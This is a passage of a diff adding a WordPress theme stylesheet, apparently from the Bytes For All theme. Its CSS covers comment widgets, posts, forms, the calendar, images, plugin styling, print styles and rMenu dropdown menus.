+div#get_recent_comments_wrap ul li ul li,
+.widget_recent_comments ul li, 
+.widget_simple_recent_comments ul li {
+	/* more  ... */
+	display: block; 
+	/* more  ... */
+	}
+
+/* Get Recent comments 3rd level, others 2nd level: */	
+div#get_recent_comments_wrap ul li ul li ul li, 
+.widget_recent_comments ul li ul li, 
+.widget_simple_recent_comments ul li ul li {
+	/* more  ... */
+	}
+
+.widget_recent_comments ul li ul li ul li, 
+.widget_simple_recent_comments ul li ul li ul li {
+	/* more  ... */
+	}	
+	
+/*- with sfhover for IE6 because it doesn't know li:hover -*/
+
+div#get_recent_comments_wrap ul li ul li:hover, 
+.widget_recent_comments ul li:hover, 
+.widget_simple_recent_comments ul li:hover, 
+div#get_recent_comments_wrap ul li ul li.sfhover, 	
+.widget_recent_comments ul li.sfhover, 
+.widget_simple_recent_comments ul li.sfhover {	
+	/* more  ... */
+	}
+
+div#get_recent_comments_wrap ul li ul li ul li:hover, 
+.widget_recent_comments ul li ul li:hover, 
+.widget_simple_recent_comments ul li ul li:hover, 	
+div#get_recent_comments_wrap ul li ul li ul li.sfhover, 
+.widget_recent_comments ul li ul li.sfhover, 
+.widget_simple_recent_comments ul li ul li.sfhover {	
+	/* more  ... */
+	}
+
+.widget_recent_comments ul li ul li ul li:hover, 
+.widget_simple_recent_comments ul li ul li ul li:hover, 	
+.widget_recent_comments ul li ul li ul li.sfhover, 
+.widget_simple_recent_comments ul li ul li ul li.sfhover {	
+	/* more  ... */ 
+	}
+	
+/*--- comments get the border on the li instead of the a --*/
+
+div#get_recent_comments_wrap ul li a:link, 
+div#get_recent_comments_wrap ul li a:visited, 
+div#get_recent_comments_wrap ul li a:active, 
+div#get_recent_comments_wrap ul li a:hover,
+.widget ul li.recentcomments a:link, 
+.widget ul li.recentcomments a:visited, 
+.widget ul li.recentcomments a:active, 
+.widget ul li.recentcomments a:hover,
+.widget ul li.bfarecentcomments a:link, 
+.widget ul li.bfarecentcomments a:visited, 
+.widget ul li.bfarecentcomments a:active, 
+.widget ul li.bfarecentcomments a:hover { 	
+	border-left: 0px !important; 
+	display: inline !important; 
+	padding: 0px !important; 
+	margin: 0px !important; 
+	}
+
+
+
+/* ------------------------------------------------------------------
+---------- BFA SUBSCRIBE WIDGET -------------------------------------
+------------------------------------------------------------------ */
+
+table.subscribe {
+	width: 100%;
+	}
+	
+table.subscribe td.email-text {
+	padding: 0 0 5px 0;
+	vertical-align: top;
+	}
+
+table.subscribe td.email-field {
+	padding: 0;
+	width: 100%;
+	}
+	
+table.subscribe td.email-button {
+	padding: 0 0 0 5px;
+	}
+	
+table.subscribe td.post-text {
+	padding: 7px 0 0 0;
+	vertical-align: top;
+	}
+	
+table.subscribe td.comment-text {
+	padding: 7px 0 0 0;
+	vertical-align: top;
+	}
+	
+	
+/* ------------------------------------------------------------------
+---------- POSTS ----------------------------------------------------
+------------------------------------------------------------------ */
+
+/*-------------------- POST CONTAINER ---------------------*/
+
+div.post {
+	display: block;
+	/* more  ... */
+	}
+
+/* additonal styles for sticky posts */
+.sticky {
+	/* more  ... */
+	}
+
+/*-------------------- POST KICKER ------------------------*/
+
+div.post-kicker {
+	/* more  ... */
+	}
+
+div.post-kicker a:link, 
+div.post-kicker a:visited, 
+div.post-kicker a:active {
+	/* more  ... */
+	}
+
+div.post-kicker a:hover {
+	/* more  ... */
+	}
+
+	
+/*-------------------- POST HEADLINE ----------------------*/
+
+div.post-headline {
+	/* more  ... */
+	}
+
+div.post-headline h2 {
+	margin: 0;
+	padding: 0;
+	/* more  ... */
+	}
+
+div.post-headline h2 a:link, 
+div.post-headline h2 a:visited, 
+div.post-headline h2 a:active {
+	/* more  ... */
+	}
+
+div.post-headline h2 a:hover {
+	/* more  ... */
+	}
+
+	
+/*-------------------- POST BYLINE ------------------------*/
+	
+div.post-byline {
+	/* more  ... */
+	}
+
+div.post-byline a:link, 
+div.post-byline a:visited, 
+div.post-byline a:active {
+	/* more  ... */
+	}
+
+div.post-byline a:hover {
+	/* more  ... */
+	}
+
+	
+/*-------------------- POST BODY COPY ---------------------*/
+	
+div.post-bodycopy {
+	/* more  ... */
+	}
+	
+div.post-bodycopy p {
+	margin: 1em 0;
+	padding: 0;
+	display: block;
+	/* The rule below would create hor. scrollbars in Firefox, 
+	which would be better than overflowing long strings, but the
+	downside is that text won't float around images anymore. 
+	Uncomment this if you don't float images anyway */
+	/* overflow: auto; */
+	}
+
+/*-------------------- POST PAGINATION --------------------*/
+
+div.post-pagination {
+	/*border: solid 1px brown;*/
+	}
+
+	
+/*-------------------- POST FOOTER ------------------------*/
+	
+div.post-footer {
+	clear:both; 
+	display: block;
+	/* more  ... */
+	}
+
+div.post-footer a:link, 
+div.post-footer a:visited, 
+div.post-footer a:active {
+	/* more  ... */
+	}	
+
+div.post-footer a:hover {
+	/* more  ... */
+	}
+
+	
+/*-------------------- ICONS in KICKER, BYLINE & FOOTER ---*/
+
+div.post-kicker img, 
+div.post-byline img, 
+div.post-footer img {
+	border: 0;
+	padding: 0;
+	margin: 0 0 -1px 0;
+	background: none;
+	}
+	
+span.post-ratings {
+	display:inline-block; 	/* postratings set to "span" by the 
+							theme, instead of default "div", to 
+							make them display inline. Adding 
+							inline-block and nowrap to avoid 
+							line wrapping of single voting stars. */
+	width: auto;
+	white-space: nowrap;
+	}
+
+
+/* ------------------------------------------------------------------
+---------- PAGE NAVIGATION NEXT/PREVIOUS ----------------------------
+------------------------------------------------------------------ */
+
+.navigation-top {
+	display: block; 
+	width: 100%; 
+	/* more  ... */
+	}
+
+.navigation-middle {
+	display: block; 
+	width: 100%; 
+	/* more  ... */
+	}
+	
+.navigation-bottom {
+	display: block; 
+	width: 100%; 
+	/* more  ... */
+	}
+
+.navigation-comments-above {
+	display: block; 
+	width: 100%; 
+	/* more  ... */
+	}
+	
+.navigation-comments-below {
+	display: block; 
+	width: 100%; 
+	/* more  ... */
+	}
+	
+.older {
+	float: left; 
+	width: 49%; 
+	text-align: left; 
+	margin:0; 
+	padding:0;
+	}
+	
+.newer {
+	float:right; 
+	width: 49%; 
+	text-align: right; 
+	margin:0; 
+	padding:0; 
+	}	
+
+.older-home {
+	float: left; 
+	width: 45%; 
+	text-align: left; 
+	margin:0; 
+	padding:0;
+	}
+
+.newer-home {
+	float:right; 
+	width: 45%; 
+	text-align: right; 
+	margin:0; 
+	padding:0; 
+	}	
+
+.home {
+	float: left; 
+	width: 9%; 
+	text-align: center;  
+	margin:0; 
+	padding:0;
+	}
+
+	
+/* ------------------------------------------------------------------
+---------- FORMS ----------------------------------------------------
+------------------------------------------------------------------ */
+
+form, .feedburner-email-form {
+	margin: 0; 
+	padding: 0; 
+	}
+
+fieldset {
+	border: 1px solid #cccccc; 
+	width: auto; 
+	padding: 0.35em 0.625em 0.75em;
+	display: block; 
+	}
+	
+legend { 
+	color: #000000; 
+	background: #f4f4f4; 
+	border: 1px solid #cccccc; 
+	padding: 2px 6px; 
+	margin-bottom: 15px; 
+	}
+	
+form p {
+	margin: 5px 0 0 0; 
+	padding: 0; 
+	}
+	
+label {
+	margin-right: 0.5em; 
+	font-family: arial;
+	cursor: pointer; 
+	}
+
+/* input.TextField for WP-Email */
+input.text, 
+input.password, 
+input.file,
+input.TextField, 
+textarea {
+	padding: 3px;
+	/* more  ... */
+	}
+
+textarea {
+	width: 96%; 
+	}
+
+
+input.inputblur {
+	color: #777777;
+	width: 95%;
+	}
+
+input.inputfocus {
+	color: #000000;
+	width: 95%;
+	}	
+	
+input.highlight, textarea.highlight {
+	/* more  ... */
+	}
+
+/* .Button for WP-Email */
+.button, .Button {
+	padding: 0 2px;
+	height: 24px;
+	line-height: 16px;
+	/* more  ... */
+	}
+	
+.buttonhover {
+	padding: 0 2px;
+	cursor: pointer;
+	/* more  ... */
+	}
+
+/* comment submit button */
+form#commentform input#submit	{
+	/* more  ... */
+	}
+	
+/* ------------------------------------------------------------------
+---------- SEARCH FORM ----------------------------------------------
+------------------------------------------------------------------ */
+
+table.searchform {
+	width: 100%;
+	}
+
+table.searchform td.searchfield {
+	padding: 0;
+	width: 100%;
+	}
+	
+table.searchform td.searchbutton {
+	padding: 0 0 0 5px;
+	}
+
+table.searchform td.searchbutton input{
+	padding: 0 0 0 5px;
+	}
+	
+/* ------------------------------------------------------------------
+---------- BLOCKQUOTES ----------------------------------------------
+------------------------------------------------------------------ */
+
+blockquote {
+	height: 1%;
+	display: block;
+	clear: both;
+	/* more  ... */	
+	}
+	
+blockquote blockquote {
+	height: 1%;
+	display: block;
+	clear: both;
+	/* more  ... */
+	}
+
+
+/* ------------------------------------------------------------------
+---------- TABLES & CALENDAR ----------------------------------------
+------------------------------------------------------------------ */
+
+/*-------------------- TABLES IN POSTS --------------------*/
+
+.post table {
+	/* more ... */
+	}
+	
+.post table caption {
+	width: auto;
+	margin: 0 auto;
+	/* more  ... */
+	}
+	
+.post table th {
+	/* more  ... */
+	}
+	
+.post table td {
+	/* more  ... */
+	}
+
+.post table tfoot td {
+	/* more  ... */
+	}
+	
+.post table tr.alt td {
+	/* more  ... */
+	}
+
+.post table tr.over td {
+	/* more  ... */
+	}
+
+
+/*-------------------- CALENDAR WIDGET --------------------*/
+
+#calendar_wrap {
+	padding: 0;
+	border: none;
+	}
+	
+table#wp-calendar {
+	width: 100%; 
+	font-size:90%;
+	border-collapse: collapse;
+	background-color: #ffffff;
+	margin: 0 auto;
+	}
+
+table#wp-calendar caption {
+	width: auto;
+	background: #eeeeee;
+	border: none;;
+	padding: 3px;
+	margin: 0 auto;
+	font-size: 1em;
+	}
+
+table#wp-calendar th {
+	border: solid 1px #eeeeee;
+	background-color: #999999;
+	color: #ffffff;
+	font-weight: bold;
+	padding: 2px;
+	text-align: center;
+	}
+	
+table#wp-calendar td {
+	padding: 0;
+	line-height: 18px;
+	background-color: #ffffff;
+	border: 1px solid #dddddd;
+	text-align: center;
+	}
+
+table#wp-calendar tfoot td {
+	border: solid 1px #eeeeee;
+	background-color: #eeeeee;
+	}
+	
+table#wp-calendar td a {
+	display: block;
+	background-color: #eeeeee;
+	width: 100%;
+	height: 100%;
+	padding: 0;
+	}
+
+
+	
+
+
+	
+/* ------------------------------------------------------------------
+---------- COMMENTS -------------------------------------------------
+------------------------------------------------------------------ */
+
+
+
+/* whole respond area */
+div#respond {
+	/* more ... */
+	}
+
+p.thesetags {
+	margin: 10px 0;
+	}
+	
+h3.reply {
+	margin: 0;
+	padding: 0 0 10px 0;
+	}
+	
+ol.commentlist {
+	margin: 15px 0 25px 0;
+	list-style-type: none;
+	padding: 0;
+	/* more  ... */
+	display:block;
+	}
+	
+ol.commentlist li {
+	/* more  ... */
+	padding: 15px 10px;
+	display: block;
+	height: 1%; /* for IE6 */
+	margin: 0;
+	}
+
+ol.commentlist li.alt {
+	/* more  ... */
+	display: block;
+	height: 1%; /* for IE6 */
+	}
+
+ol.commentlist li.authorcomment {
+	/* more  ... */
+	display: block;
+	height: 1%;
+	}
+
+ol.commentlist span.authorname {
+	/* more  ... */
+	font-weight: bold;
+	}
+
+ol.commentlist span.commentdate {
+	color: #666666;
+	font-size: 90%;
+	margin-bottom: 5px;
+	display: block;
+	}
+
+ol.commentlist span.editcomment {
+	display: block;
+	}
+	
+ol.commentlist li p {
+	margin: 2px 0 5px 0;
+	}
+
+div.comment-number {
+	float: right; 
+	font-size: 2em; 
+	line-height: 2em; 
+	font-family: georgia, serif; 
+	font-weight: bold; 
+	color: #ddd; 
+	margin: -10px 0 0 0; 
+	position: relative; 
+	height: 1%
+	}
+
+div.comment-number a:link, 
+div.comment-number a:visited, 
+div.comment-number a:active {
+	color: #ccc;
+	}
+
+textarea#comment {
+	width: 98%; 
+	margin: 10px 0; 
+	display: block;
+	}
+
+
+/* ------------------------------------------------------------------
+---------- COMMENTS WP 2.7 ------------------------------------------
+------------------------------------------------------------------ */
+
+ul.commentlist {
+	margin: 15px 0 15px 0;
+	list-style-type: none;
+	padding: 0;
+	/* more  ... */
+	display:block;
+	}
+
+ul.commentlist ul {
+	margin: 15px 0 25px 0;
+	list-style-type: none;
+	padding: 0;
+	border: none;
+	display:block;
+	}
+
+ul.commentlist li.thread-even {
+	/* more  ... */
+	padding: 15px 10px;
+	display: block;
+	clear: both;
+	height: 1%; /* for IE */
+	margin: 0;
+	}
+
+ul.commentlist li.thread-odd {
+	/* more  ... */
+	padding: 15px 10px;
+	display: block;
+	clear: both;
+	height: 1%; /* for IE */
+	margin: 0;
+	}
+
+ul.commentlist li.bypostauthor {
+	/* more  ... */
+	}
+	
+/* reset children */
+
+ul.commentlist li ul.children, 
+ul.commentlist li ul.children li, 
+ul.commentlist li ul.children li.bypostauthor  {
+	background-color: transparent;
+	border: 0;
+	padding: 0;
+	margin: 0;
+	display: block;
+	height: 1%;  /* for IE */
+	}
+
+ul.commentlist li ul.children li, 
+ul.commentlist li ul.children li.bypostauthor {
+	margin: 10px 0 0 30px;
+	}
+
+ul.commentlist li ul.children li.depth-2 {
+	margin: 10px 0 0 0;
+	}
+
+ul.children div.comment-container {
+	background-color: transparent;
+	border: dashed 1px #ccc;
+	padding: 8px;
+	margin: 0;
+   	/* optional rounded corners for browsers that support it */
+   	-moz-border-radius: 5px;
+   	-khtml-border-radius: 5px;
+   	-webkit-border-radius: 5px;
+   	border-radius: 5px;
+	}
+	
+ul.children div.bypostauthor {
+	background-color: #ffecec;
+	border: dashed 1px #ffbfbf;
+	}
+
+ul.commentlist li p {
+	margin: 2px 0 5px 0;
+	}
+
+ul.commentlist span.authorname {
+	/* more  ... */
+	}
+
+div.comment-meta a:link, 
+div.comment-meta a:visited, 
+div.comment-meta a:active, 
+div.comment-meta a:hover {
+	font-weight: normal;
+	}
+
+div#cancel-comment-reply {
+	margin: -5px 0 10px 0;
+	}
+
+div.comment-number {
+	float: right; 
+	font-size: 2em; 
+	line-height: 2em; 
+	font-family: georgia, serif; 
+	font-weight: bold; 
+	color: #ddd; 
+	margin: -10px 0 0 0; 
+	position: relative; 
+	height: 1%
+	}
+
+div.comment-number a:link, 
+div.comment-number a:visited, 
+div.comment-number a:active {
+	color: #ccc;
+	}
+
+/* paged comments navigation */
+.page-numbers {
+	padding: 2px 6px;
+	border: solid 1px #000000;
+	-moz-border-radius: 6px;
+	-khtml-border-radius: 6px;
+	-webkit-border-radius: 6px;
+	border-radius: 6px;
+	}
+
+/* current page number */
+span.current {
+	background: #ddd;
+	}
+	
+a.prev, a.next {
+	border: none;
+	}
+	
+a.page-numbers:link, 
+a.page-numbers:visited, 
+a.page-numbers:active {
+	text-decoration: none;
+	/* more  ... */
+	}
+
+a.page-numbers:hover {
+	text-decoration: none;
+	/* more  ... */
+	}
+
+/* "you can use these xhtml tags" initially closed */
+div.xhtml-tags {
+	display: none;
+	}
+
+	
+/* ------------------------------------------------------------------
+---------- For CommentLuv ----------------------------------------
+------------------------------------------------------------------ */
+
+abbr em {
+	border: none !important;
+	border-top: dashed 1px #aaa !important;
+	display: -moz-inline-box !important; /* Firefox 2 doesn't know default "inline-block" */
+	display: inline-block !important;
+	background: url(images/commentluv.gif) 0% 90% no-repeat;
+	margin-top: 8px;
+	padding:  5px 5px 2px 20px !important;
+	font-style: normal;
+	}
+
+/* ------------------------------------------------------------------
+---------- Subscribe to comments -----------------------------------
+------------------------------------------------------------------ */
+
+p.subscribe-to-comments {
+	margin-bottom: 10px;
+	}
+	
+/* ------------------------------------------------------------------
+---------- IMAGES ---------------------------------------------------
+------------------------------------------------------------------ */
+
+img { 
+	border: 0;
+	}
+
+	
+
+	
+.post img.size-full {
+	/*max-width: 100% auto;*/
+	max-width: 96%;		/* 	resize images in the main column if needed.
+							97% so images with padding and border don't touch
+							the right sidebar while being resized. Change this 
+							to 100% if you want, if your images
+							don't have padding and a border */
+	width: auto 100%;
+	margin: 5px 0 5px 0;
+	/*overflow-x: auto;*/
+	/* more  ... */
+	}
+
+
+
+/* hiding from IE6 which would stretch the image vertically. 
+IE6 will get width and height via jQuery */
+div[class~=post] img { 
+	height: auto; /* FF & Safari need auto */
+	}	
+
+.post img.alignleft {
+	float: left; 
+	margin: 10px 10px 5px 0; 
+	}
+	
+.post img.alignright {
+	float: right; 
+	margin: 10px 0 5px 10px; 
+	}
+
+.post img.aligncenter {
+	display: block;
+	margin: 10px auto;
+	}
+
+.aligncenter, 
+div.aligncenter {
+   	display: block;
+   	margin-left: auto;
+   	margin-right: auto;
+	}
+
+.alignleft, 
+div.alignleft {
+	float: left;
+	margin: 10px 10px 5px 0;
+	}
+
+.alignright, 
+div.alignright {
+   	float: right;
+   	margin: 10px 0 5px 10px;
+	}
+
+/* feed icons on archives page */
+div.archives-page img {
+	border: 0;
+	padding: 0;
+	background: none;
+	margin-bottom: 0;
+	vertical-align: -10%;
+	}
+	
+	
+/* ------------------------------------------------------------------
+---------- IMAGE CAPTION (WP 2.6 and newer) -------------------------
+------------------------------------------------------------------ */
+
+.wp-caption {
+	/*max-width: 100% auto;*/
+	max-width: 96%;		/* FF2, IE7, Opera9, Safari 3.0/3.1 will 
+							resize images in the main column if needed.
+							97% so images with padding and border don't touch
+							the right sidebar while being resized. Change this 
+							to 100% if you want, if your images
+							don't have padding and a border */
+	width: auto 100%;
+	height: auto;  /* FF3 needs "auto", IE6 needs "100%", see next style*/
+	display: block;
+	/* more  ... */
+	}
+
+/* for imges inside a caption container IE6 does not
+stretch images vertically as it does with images without
+caption so we can leave this rule although it is probably not
+required as jQuery sets the height for caption'ed images too */
+* html .wp-caption {
+	height: 100%; 
+	}
+	
+.wp-caption img {
+   	margin: 0 !important;
+   	padding: 0 !important;
+   	border: 0 none !important;
+	}
+	
+.wp-caption p.wp-caption-text {
+	/* more  ... */
+	}
+
+
+/* ------------------------------------------------------------------
+---------- SMILEYS --------------------------------------------------
+------------------------------------------------------------------ */
+
+img.wp-smiley {
+    float: none;  
+    border: none !important; 
+	margin: 0 1px -1px 1px; 
+	padding: 0 !important;
+	background: none !important;
+	}
+
+
+/* ------------------------------------------------------------------
+---------- GRAVATARS ------------------------------------------------
+------------------------------------------------------------------ */
+
+img.avatar {
+	float: left; 
+	display: block;
+	/* more  ... */
+	}
+
+
+
+/* ------------------------------------------------------------------
+---------- FOR THE QUICKTAGS PLUGIN ---------------------------------
+------------------------------------------------------------------ */	
+
+/*--------------------COMMENTS QUCIKTAGS ------------------*/
+
+/* Main Span */
+#comment_quicktags {
+	text-align: left;
+	padding: 10px 0 2px 0;
+	display: block;
+	}
+
+/* Button Style */
+#comment_quicktags input.ed_button {
+	background: #f4f4f4;
+	border: 2px solid #cccccc;
+	color: #444444;
+	margin: 2px 4px 2px 0;
+	width: auto;
+	padding: 0 4px;
+	height: 24px;
+	line-height: 16px;
+	}
+	
+/* Button Style on focus/click */
+#comment_quicktags input.ed_button_hover {
+	background: #dddddd;
+	border: 2px solid #666666;
+	color: #000000;
+	margin: 2px 4px 2px 0;
+	width: auto;
+	padding: 0 4px;
+	height: 24px;
+	line-height: 16px;
+	cursor: pointer;
+	}
+
+/* Button Lable style */
+#comment_quicktags #ed_strong {
+	font-weight: bold;
+	}
+	
+/* Button Lable style */
+#comment_quicktags #ed_em {
+	font-style: italic;
+	}
+
+	
+
+
+/* ------------------------------------------------------------------
+---------- FOR THE SOCIABLE PLUGIN ----------------------------------
+------------------------------------------------------------------ */
+
+div.sociable { 
+	margin: 0; 
+	width: 200px;
+	display:inline;
+	}
+
+div.sociable-tagline {
+	display: none;
+	}
+	
+.sociable span {
+	display: inline-block;
+	}
+	
+.sociable ul {
+	display: inline;
+	margin: 0 !important;
+	padding: 0 !important;
+	}
+	
+.sociable ul li {
+	background: none;
+	display: inline;
+	list-style-type: none;
+	margin: 0;
+	padding: 1px;
+	}
+	
+.sociable ul li:before { 
+	content: ""; 
+	}
+	
+.sociable img {
+	float: none;
+	width: 16px;
+	height: 16px;
+	border: 0;
+	margin: 0;
+	padding: 0;
+	}
+
+.sociable-hovers {
+	opacity: .4;
+	-moz-opacity: .4;
+	filter: alpha(opacity=40);
+	vertical-align: text-bottom;
+	}
+	
+.sociable-hovers:hover {
+	opacity: 1;
+	-moz-opacity: 1;
+	filter: alpha(opacity=100);
+	}
+
+
+
+/* ------------------------------------------------------------------
+---------- PRINT STYLE ----------------------------------------------
+------------------------------------------------------------------ */
+
+@media print {
+
+body { 
+	background: white; 
+	color: black; 
+	margin: 0; 
+	font-size: 12pt; 
+	font-family: arial, sans-serif; 
+	}
+
+a:link:after, 
+a:visited:after { 
+	content:" [" attr(href) "] "; 
+	font-weight: normal; 
+	text-decoration: none; 
+	font-size: 12pt;
+	}
+	
+a:link, a:visited {
+	text-decoration: underline; 
+	color: #000;
+	}
+	
+.postmetadata a:link:after, 
+.postmetadata a:visited:after { 
+	content: ""; 
+	}
+	
+h2 a:link:after, 
+h2 a:visited:after { 
+	content: ""; 
+	} 
+	
+h2, 
+h2 a:link, 
+h2 a:visited, 
+h2 a:active {
+	color: #000; 
+	font-size: 18pt;
+	}
+	
+h3 {
+	color: #000; 
+	font-size: 15pt;
+	}
+	
+#header, 
+#left, 
+#right, 
+#footer, 
+.navigation, 
+.wp-pagenavi-navigation, 
+#comment, 
+.remove-for-print {
+	display: none;
+	}
+
+}	
+
+
+
+/* ##################################################################
+---------------------------------------------------------------------
+---------- DROP DOWN / FLY OUT MENUS --------------------------------
+Ruthsarian's rMenu http://webhost.bridgew.edu/etribou/layouts/
+modified by Bytes For All http://wordpress.bytesforall.com/
+---------------------------------------------------------------------
+################################################################## */
+
+
+/* ------------------------------------------------------------------
+---------- GENERAL MENU MECHANICS -----------------------------------
+------------------------------------------------------------------ */
+
+ul.rMenu, ul.rMenu ul, ul.rMenu li, ul.rMenu a
+	{
+	display: block;		/* make these objects blocks so they're easier
+						to deal with */
+	margin: 0;
+	padding: 0;			/* get rid of padding/margin values that these
+						elements may have by default */
+	}
+	
+ul.rMenu, ul.rMenu li, ul.rMenu ul
+	{
+	list-style: none;	
+	}
+	
+ul.rMenu ul
+	{
+	display: none;		/* hide the sub-menus until needed */
+	}
+	
+ul.rMenu li
+	{
+	position: relative;	/* so sub-menus position relative to their 
+						parent LI element */
+	z-index: 1;
+	}
+	
+ul.rMenu li:hover
+	{
+	z-index: 999;		/* make sure this and any sub-menus that pop 
+						appear above everything else on the page */
+	}
+	
+ul.rMenu li:hover > ul	/* hide from IE5.0 because it gets confused 
+						by this selector */
+	{
+	display: block;		/* show the sub-menu */
+	position: absolute;	/* remove the sub-menus from the flow of the
+						layout so when they pop they don't cause any
+						disfiguration of the layout. */
+	}
+
+
+/* ------------------------------------------------------------------
+---------- EXTENDED MENU MECHANICS ----------------------------------
+------------------------------------------------------------------ */
+
+/* These rules exist only for specific menu types, such as horizontal 
+or vertical menus, right or left aligned menus. */
+ 
+ul.rMenu-hor li
+	{
+	float: left;
+	width: auto;
+	}
+	
+ul.rMenu-hRight li
+	{
+	float: right;		/* horizontal, right menus need their LI
+				   elements floated to get them over there */
+	}
+	
+ul.rMenu-ver li
+	{
+	float: none;		/* clear this so vertical sub-menus that are
+				   children of horizontal menus won't have
+				   their LI widths set to auto. */
+	}
+
+	
+	
+div#menu1 ul.rMenu-ver, div#menu1 ul.rMenu-ver ul
+	{
+		/* more  ... */		/* sub-menus need a defined width, especially
+				   vertical sub-menus. salt to taste. */
+	}
+
+div#menu2 ul.rMenu-ver, div#menu2 ul.rMenu-ver ul
+	{
+		/* more  ... */		/* sub-menus need a defined width, especially
+				   vertical sub-menus. salt to taste. */
+	}
+	
+
+	
+ul.rMenu-wide
+	{
+	width: 100%;		/* apply this rule if you want the top-level
+				   menu to go as wide as possible. this is 
+				   something you might want if your top-level
+				   is a vertical menu that spans the width
+				   of a column which has its width 
+				   pre-defined. IE/Win 5 seems to prefer
+				   a value of 100% over auto. */
+	}
+	
+ul.rMenu-vRight
+	{
+	float: right;		/* use this to float a vertical menu right. */
+	}
+	
+ul.rMenu-lFloat
+	{
+	float: left;		/* use this to float a vertical menu left. */
+	}
+	
+ul.rMenu-noFloat
+	{
+	float: none;		/* this is to cover those cases where a menu
+				   is floated by default and you have a reason
+				   to not float it. such as a menu on the
+				   right side of the screen that you want 
+				   to have drops going left but not floated.
+				   to be honest, i don't think this rule is 
+				   needed. the clearfix hack will resolve
+				   renering issues associated with a floated
+				   menu anyways. */
+	}
+
+
+/* ------------------------------------------------------------------
+---------- EXTENDED MENU MECHANICS - Center Horizontal Menu ---------
+------------------------------------------------------------------ */
+
+div.rMenu-center ul.rMenu
+	{
+	float: left;
+	position: relative;
+	left: 50%;
+	}
+	
+div.rMenu-center ul.rMenu li
+	{
+	position: relative;
+	left: -50%;
+	}
+	
+div.rMenu-center ul.rMenu li li
+	{
+	left: auto;
+	}
+
+
+/* ------------------------------------------------------------------
+---------- DROP POSITIONS -------------------------------------------
+------------------------------------------------------------------ */
+
+ul.rMenu-hor ul
+	{
+	top: auto;		/* a value of 100% creates a problem in IE 5.0 
+				   and Opera 7.23 */
+	right: auto;
+	left: auto;		/* typically want a value of 0 here but set to
+				   auto for same reasons detailed above */
+	margin-top: -1px;	/* so the top border of the dropdown menu 
+				   overlaps the bottom border of its parent
+				   horizontal menu. */
+	}
+
+ul.rMenu-hor ul ul
+	{
+	margin-top: 0;	/* reset the above for fly out menus */
+	margin-left: 0px;
+	}
+	
+ul.rMenu-ver ul
+	{
+	/*left: 60%;*/
+	left: 100%;
+	right: auto;
+	top: auto;
+	/*margin-top: -0.5em;*/	/* i prefer top: 80% but this creates a problem
+				   in iCab so negative top margin must be used.
+				   salt to taste. */
+	top: 0;
+	}
+	
+ul.rMenu-vRight ul, ul.rMenu-hRight ul.rMenu-ver ul
+	{
+	left: -100%;
+	right: auto;
+	top: auto;
+	/*margin-top: -0.5em;*/	/* i prefer top: 80% but this creates a problem
+				   in iCab so negative top margin must be used.
+				   salt to taste. */
+	}
+	
+ul.rMenu-hRight ul
+	{
+	left: auto;
+	right: 0;		/* this doesn't work in Opera 7.23 but 7.5 and
+				   beyond work fine. this means right-aligned
+				   horizontal menus break in Opera 7.23 and
+				   earlier. no workaround has been found. */
+	top: auto;
+	margin-top: -1px;	/* so the top border of the dropdown menu 
+				   overlaps the bottom border of its parent
+				   horizontal menu. */
+	}
+
+
+/* ------------------------------------------------------------------
+---------- PRESENTATION: General ------------------------------------
+------------------------------------------------------------------ */
+
+ul.rMenu
+	{
+	/* more  ... */
+	border-left: none;
+	}
+/*added for darkmenu*/
+ul#rmenu
+	{
+	/* more  ... */
+	border-left: none;
+	}
+
+
+
+ul.rMenu li a
+	{
+		/* more  ... */	/* border around all anchor tags */
+	}
+/*added*/
+ul#rmenu li a
+	{
+		/* more  ... */	/* border around all anchor tags */
+	}
+
+
+
+	
+ul.rMenu-hor li
+	{
+	margin-bottom: -1px;	/* this is so if we apply a bottom border to 
+				   the UL element it will render behind, but
+				   inline with the bottom border of the LI
+				   elements. Default: -1px */
+	margin-top: -1px;	/* this is so if we apply a top border to 
+				   the UL element it will render behind, but
+				   inline with the bottom border of the LI
+				   elements. Default: -1px */				
+	margin-left: -1px;	/* negative borders on LIs to make borders on
+				   child A elements overlap. they go here and
+				   not on the A element for compatibility
+				   reasons (IE6 and earlier). Default: -1px */
+	}
+
+
+	
+ul#rmenu li
+	{	
+	/*margin-right: 3px;*/	/* set to 0 to remove the space between single, 
+				   horizontal LI elements */
+	}
+ul#rmenu li ul li
+	{	
+	/*margin-right: 0;*/	/* without this, the 2nd level horizontal LI's would get
+				   a margin-right, too. This should always be 0 */
+	}
+
+
+	
+
+ul.rMenu-hor
+	{
+	padding-left: 1px ;	/* compensate for the 1px left jog created by
+				   the above negative margin. */
+	}
+	
+ul.rMenu-ver li
+	{
+	margin-left: 0;
+	margin-top: -1px;	/* same thing above except for vertical
+				   menus */
+	}
+	
+	
+div#menu1 ul.rMenu-ver
+	{
+		/* more  ... */	/* ditto */
+	}
+
+div#menu2 ul.rMenu-ver
+	{
+		/* more  ... */	/* ditto */
+	}
+	
+	
+ul.rMenu li a
+	{
+	padding: 4px 5px;	
+	}
+/* added for dark menu*/
+ul#rmenu li a
+	{
+	padding: 4px 5px;	
+	}
+
+
+	
+		
+ul.rMenu li a:link, ul.rMenu li a:hover, ul.rMenu li a:visited, ul.rMenu li a:active
+	{
+	text-decoration: none;
+	/* more  ... */
+	margin:0;
+	padding: 4px 5px;	
+	}
+
+/*added*/
+ul#rmenu li a:link, ul#rmenu li a:hover, ul#rmenu li a:visited, ul#rmenu li a:active
+	{
+	text-decoration: none;
+	/* more  ... */
+	margin:0;
+	padding: 4px 5px;	
+	}
+
+
+/*
+ul.rMenu li.sfhover a:active,
+ul.rMenu li:hover a:active
+	{
+	color: #fff;
+	background-color: #c00;
+	}
+*/
+
+	
+ul.rMenu li
+	{
+	/* more  ... */
+	}
+
+/*added*/
+ul#rmenu li
+	{
+	/* more  ... */
+	}
+
+
+
+	
+ul.rMenu li:hover,
+ul.rMenu li.sfhover
+	{
+		/* more  ... */	/* background color for parent menu items of
+				   the current sub-menu. includes the sfhover
+				   class which is used in the suckerfish hack
+				   detailed later in this stylesheet. */
+
+			   
+	}
+/*added for dark menu*/
+ul#rmenu li:hover,
+ul#rmenu li.sfhover
+	{
+		/* more  ... */	/* background color for parent menu items of
+				   the current sub-menu. includes the sfhover
+				   class which is used in the suckerfish hack
+				   detailed later in this stylesheet. */
+	}
+
+
+
+
+/* "current" page and hover */
+ul.rMenu li.current_page_item a:link, 
+ul.rMenu li.current_page_item a:active, 
+ul.rMenu li.current_page_item a:hover, 
+ul.rMenu li.current_page_item a:visited, 
+ul.rMenu li a:hover
+	{
+	/* more  ... */
+	}
+/*added*/
+/* "current" category and hover */
+ul#rmenu li.current-cat a:link, 
+ul#rmenu li.current-cat a:active, 
